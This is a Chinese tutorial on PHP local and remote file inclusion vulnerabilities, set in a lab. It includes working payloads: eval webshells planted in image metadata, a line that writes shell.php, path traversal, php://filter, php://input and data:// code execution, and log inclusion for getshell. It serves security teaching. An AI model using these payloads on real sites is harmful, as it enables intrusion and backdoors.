【CyberSecurityLearning 62】文件包含
目錄
文件包含
文件包含漏洞
漏洞產生的原因
PHP中的文件包含
*語句
* PHP文件包含的相關配置
文件包含示例
*本地文件包含(LFI)
*遠程文件包含(RFI)
漏洞原理及特點
*漏洞原理
* 特點
空字符安全繞過
文件包含漏洞的利用
第一種利用方法:讀取敏感文件
第二種利用方法:直接包含圖片木馬
第三種利用方法:包含木馬寫shell
*第四種利用方法--- PHP 封裝協議的使用--訪問本地文件
*第五種利用方法---PHP 封裝協議的使用--傳輸PHP 文件
*第六種利用方法---利用PHP 封裝協議--執行PHP 命令
拓展+總結:CTF中常用的偽協議
文件包含
文件包含漏洞
比如要寫一個留言板:
留言? ???????? 連接數據庫
查看留言?? ?連接數據庫
登錄?? ??????? 連接數據庫
注冊?? ??????? 連接數據庫
連接數據庫這部分代碼重復,代碼冗余
解決:連接數據庫這部分語句 放在單獨的文件中去
如果留言中想要用連接數據庫,只需要提供一句話把我們這個單獨文件的代碼包含在留言這個頁面
程序開發人員通常會把可重復使用的函數寫到單個文件中,在使用某個函數的時候,直接調用此文件,無需再次編寫,這種調用文件的過程通常稱為包含。
程序開發人員都希望代碼更加靈活,所以通常會把被包含的文件設置為變量,來進行動態調用,但正是由于這種靈活性,從而導致客戶端可以調用任意文件,造成文件包含漏洞。
幾乎所有的腳本語言都會提供文件包含功能。文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/ASP.net程序中比較少。本課程以PHP 為例,說明文件包含漏洞。
???
漏洞產生的原因
??? 1. Web 應用實現了動態包含
?? ?2. 動態包含的文件路徑參數,客戶端可控
如果存在文件包含漏洞,我們的防御措施基本等于失效!
客戶端可控:
<?php
$path=$_GET['path'];
include_once("./inc.php");
echo "<h1>This is include.php!</h1>";
include_once $path;?
?>
PHP中的文件包含
*語句
? ? PHP?中提供了四個文件包含的函數,四個函數之間略有區別
| 函數 | 區別 |
| include() | 文件包含失敗,會產生警告,腳本會繼續執行 |
| include_once() | 與include() 功能相同,文件只會被包含一次 |
| require() | 文件包含失敗時,會產生錯誤,直接結束腳本執行 |
| require_once() | 與require()?功能相同 ,文件只會被包含一次 |
?
測試:
在win2k8中的phpstudy根目錄下創建include文件夾,里面寫一個文件inc.php
<?php
echo "This is inc.php!";
?>
在瀏覽器中成功輸出
再在同目錄下創建include.php
<?php
echo "<h1>This is include.php!</h1>";
?>
現在就可以通過文件包含操作在include.php文件中包含inc.php文件的內容
<?php
include("./inc.php");? //寫法1
echo "<h1>This is include.php!</h1>";
include "./inc.php";? //寫法2
?>
如果用include_once() 該函數與include() 功能相同,但只包含一次
無論include_once()這條語句寫了多少次,我們文件僅包含一次
<?php
require("./inc.php");? //寫法1
echo "<h1>This is include.php!</h1>";
require "./inc.php";? //寫法2
?>
我們程序開發人員都希望代碼更加靈活,所以通常會把被包含的文件,設置為變量,來進行動態調用。
<?php
$path="./inc.php";
include_once("./inc.php");
echo "<h1>This is include.php!</h1>";
include_once $path;?
?>
* PHP文件包含的相關配置
??? 文件包含是PHP 的基本功能之一,有本地文件包含和遠程文件包含之分(雖然php 官網上不是這么解釋的)。簡單來說,本地文件包含就是可以讀取和打開本地文件,遠程文件包含(包括HTTP,FTP,PHP的偽協議)就是可以遠程加載文件。我們可以通過php.ini 來進行配置。如下
allow_url_fopen=On/Off???????? 本地文件包含的開關(LFI:local file inclusion)【不管這個開關是開還是關,都可以本地文件包含】
allow_url_include=On/Off?????? 遠程文件包含(RFI)【如果為off,我們是不能通過php偽協議去加載文件,如果為on就可以】
JavaScript偽協議就是javascript:
PHP偽協議就是php://?? 等后面講漏洞利用的時候再講
文件包含示例
我們可以通過以下簡單代碼來測試文件包含漏洞。準備一個fileinclude.php文件
實例1:
<?php
if(isset($_GET['path'])){
??? include $_GET['path'];
}else{
??? echo "?path=info.php";
}
?>
該文件會從GET方法獲取path變量,也就是文件包含路徑,然后包含此文件。創建一個info.php,這個包含文件的內容為phpinfo()
??? -----------
實例2:
??? <?php
??? $path=$GET_['path'];
??? include_once("./inc.php");
??? echo "<h1>This is inlcude_once.php!</h1>";
??? include_once $path;
??? ?>
??? ----------
?
*本地文件包含(LFI)
本地文件包含就是我們通過相對路徑的方式找到文件,然后包含之。
訪問的URL為? [http://localhost/include/include_once.php?path=info.php]? 這個路徑是相對路徑
?
*遠程文件包含(RFI)
遠程文件包含就是我們可以通過http(s)或者ftp?等方式,遠程加載文件。
訪問的連接:http://localhost/include/include_once.php?path=http://172.16.132.161/include/info.php
我們要確定一下那兩個選項是否存在
再演示一下用ftp協議的方式去訪問
在URL地址欄輸入ftp://user1901:123.com@10.0.105.223
再訪問:http://localhost/include/include_once.php?path=ftp://user1901:123.com@10.0.105.223/info.php
漏洞原理及特點
*漏洞原理
PHP?文件包含是程序設計的基礎功能之一,能夠減少代碼量,提高開發效率。但是使用文件包含功能時,有類似以上測試代碼的設計,實現動態包含,就會有文件包含漏洞的風險。如果實現動態包含的參數,Web?應用沒有進行嚴格的凈化,客戶端可以影響或控制文件包含的路徑,就會產生文件包含漏洞。
* 特點
??? PHP 提供的文件包含功能非常強大,有以下特點
?
@?? 無視文件擴展名讀取文件
??? 包含文件時,PHP 會讀取文件的源碼,包括圖片文件。嘗試包含圖片,連接為
??? [http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg]
??? 我們發現打開圖片不是圖像,而是圖片的源碼。
測試:我們在phpstudy的根目錄下
右鍵屬性---詳細信息---版權<?php phpinfo();?>
利用無視文件擴展名讀取文件的特點:
發現phpinfo()執行了
?
@?? 無條件解析PHP 代碼
??? 文件包含在讀取文件源碼的同時,如果遇到符合PHP 語法規范的代碼,就會無條件執行。例如,將info.php 的后綴名改成info.rar,依然能夠顯示phpinfo() 信息。
?
這同時,也為圖片木馬提供了一種利用方法。
面試題:圖片木馬有幾種利用途徑
1、利用解析漏洞
2、利用.htaccess攻擊
3、利用文件包含
?
空字符安全繞過
空字符安全限制繞過,是PHP小于5.3.4 版本的一個漏洞,CVE 編號是CVE-2006-7243。這個漏洞就是PHP 接收來自于路徑名中的空(Null) 字符,這可能允許依賴于上下文的攻擊者通過在此字符后放置安全文件擴展名來繞過預期的訪問限制,也就是我們之間講過的00 截斷。00 截斷攻擊也會體現在文件包含中。
Web 應用在設計時候,經常會包含模板文件,簡單程序如下
<?php
if(isset($_GET['path'])){
??? include $_GET['path'].".html";? //自動加了一個.html
}else{
??? echo "?path=[path]";
}
?>
這個簡單的代碼限制了被包含的文件的后綴名是html
[http://localhost/include/00/?path=info]
此處我們通過00 截斷來包含任意文件,比如同級目錄下的inc.php 文件。提交變量
[http:localhost/incldue/00/?path=info.php%00]
?
注意:要想本實驗成功需要關閉魔術引號(我們測試的是PHP5.2.17,所以在這里面找php.ini)
magic_quotes_gpc=Off
這個魔術引號就會在我們空字節、單引號、雙引號后面自動添加一個右斜線,就是自動給我們轉義
但是高版本中,我們已經把這個轉義符號刪掉了
?
文件包含漏洞的利用
第一種利用方法:讀取敏感文件
我們可以利用文件包含漏洞讀取任意文件,讀取文件的時候有利用條件
讀取敏感文件的兩個條件:
??? @?? 目標主機文件存在(目標文件的路徑,絕對路徑,相對路徑)
??? @?? 具有文件可讀權限
舉例:讀取本地hosts 的文件。
提交參數:
方法1:?path=c:\windows\System32\drivers\etc\hosts(絕對路徑)
方法2:?path=..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts(我們多寫幾個../是為了直接到根目錄)
利用..\..\..\..\..\..\..\..\..\這種方式去訪問別的盤符行不行?
那你為啥不用絕對路徑呢?
我們上一級上一級....這種方法對linux來講,就是從根開始(多寫幾個上一級文件夾)
我們這個腳本在哪個盤下,我們上一級目錄上一級目錄多寫幾個就是在當前盤符下
第二種利用方法:直接包含圖片木馬
我們在timg_.jpg的版權中寫入一句話木馬:<?php @eval($REQUEST[777]);?>,放到腳本的同一級目錄下
訪問:
??? 可以利用文件包含漏洞直接包含圖片木馬。直接包含圖片木馬
??? [?path=./timg_.jpg]
?
??? 使用菜刀連接之。
為什么能包含圖片木馬呢?
因為我們這個圖片木馬中的PHP代碼能夠執行,但是有時候我們直接包含圖片這個操作不是非常方便
所以我們就可以在圖片木馬中寫入這樣一段PHP代碼:
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
這段PHP代碼含義:
在當前目錄下創建一個文件shell.php,然后將我們一句話木馬的內容寫入shell.php
當我們包含一個圖片的時候就會直接執行這段PHP代碼
第三種利用方法:包含木馬寫shell
? 我們也可以將如下代碼寫入到圖片中,
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
??? 該段代碼的含義是,在當前目錄下創建一個名為[shell.php] 的文件,內容為[<?php phpinfo();?>],當我們直接包含圖片的時候,這段代碼就會被執行。
演示:
我們將上面的PHP代碼寫到timg_fputs.jpg的版權中
包含一下:
這時候,發現生成了一個shell.php,進去,再用菜刀連接一下。
?
?
*第四種利用方法--- PHP 封裝協議的使用--訪問本地文件
我們這個PHP封裝協議的使用,要求開啟allow_url_include這個遠程文件包含這個選項
我們可以使用php 的file 協議訪問本地系統文件,提交參數
[?path=file://c:\windows\System32\drivers\etc\hosts]。
file://就是訪問本地文件
*第五種利用方法---PHP 封裝協議的使用--傳輸PHP 文件
??? 可以使用以下參數來傳送任意PHP 文件。
?path=php://filter/read=convert.base64-encode/resource=inc.php
??? 然后把得到的所有字符串base64 解碼即可。
php://是PHP的偽協議
filter就是過濾
read是一個動作,怎么讀呢?
convert.base64:對我們要讀的文件進行base64編碼
resource=是一個文件的名字
通過這種方法就可以獲取網站源代碼?
?
*第六種利用方法---利用PHP 封裝協議--執行PHP 命令
?
??? 我們還可以利用PHP 的封裝協議來執行PHP 命令
php://input
?? ?注:后面兩個必須要在開啟遠程文件上傳配置的情況下
?
如果一個網站如果存在遠程文件包含漏洞,怎么利用?直接架一個站點直接包含就完了
如果一個網站只存在本地文件漏洞呢?上傳一個圖片木馬,然后包含一下就getshell了
我們遠程文件包含,默認都是關閉的,所以這個這兩種方法都利用不了
這兩個方法有兩個用途:1、打CTF;2、持久控制的PHP后門
設想一下:???
!?? ?已知一個網站只存在本地文件包含漏洞,并且沒有文件上傳API,如何利用?
方法1. 包含本地日志文件getShell
[?path=c:\phpstudy\apache\log\error.log]
用蟻劍連接???
?? ??? ?日志文件的路徑?
?? ??? ??? ?1. 常識? ??? ??? ????
?? ??? ??? ?2. 爆破
方法2. 包含session 文件,造成sessionId 泄露
?? ?
!?? ?metinfo5.0.4 文件包含漏洞代碼審計
?
拓展+總結:CTF中常用的偽協議
file://#
作用:
用于訪問文件(絕對路徑、相對路徑、網絡路徑)
示例:
http://www.xx.com?file=file:///etc/passswd
php://#
作用:
訪問輸入輸出流
1. php://filter
作用:
讀取源代碼并進行base64編碼輸出
示例:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](針對php文件需要base64編碼)
參數:
resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流
read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用于讀或寫鏈。
2. php://input
作用:
執行POST數據中的php代碼
示例:
http://127.0.0.1/cmd.php?cmd=php://input
POST數據:<?php phpinfo()?>
注意:
enctype="multipart/form-data" 的時候 php://input 是無效的
data://#
作用:
自PHP>=5.2.0起,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼。一般需要用到base64編碼傳輸
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
最后補充幾個關于偽協議常用的payload,包括讀文件和php代碼執行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
Data URI scheme 的語法
在上面的 Data URI scheme 中:
data 表示取得數據的協定名稱;
image/png 是數據類型名稱;
base64 是數據的編碼方法,逗號后面就是這個image/png文件base64編碼后的數據。
目前,Data URI scheme支持的類型有:
data: 文本數據
data: text/plain, ------- 文本數據
data: text/html, -------- HTML代碼
data: text/html;base64, -------- base64編碼的HTML代碼
data: text/css, ---------- CSS代碼
data: text/css;base64, ---------- base64編碼的CSS代碼
data: text/javascript, ------------ Javascript代碼
data: text/javascript;base64, --------- base64編碼的Javascript代碼
data: image/gif;base64, ---------------- base64編碼的gif圖片數據
data: image/png;base64, -------------- base64編碼的png圖片數據
data: image/jpeg;base64, ------------- base64編碼的jpeg圖片數據
data: image/x-icon;base64, ---------- base64編碼的icon圖片數據
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 62】文件包含的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 客座编辑:李国庆(1968-),男,博士
- 下一篇: 热烈祝贺我刊主编郑纬民教授被提名为中国工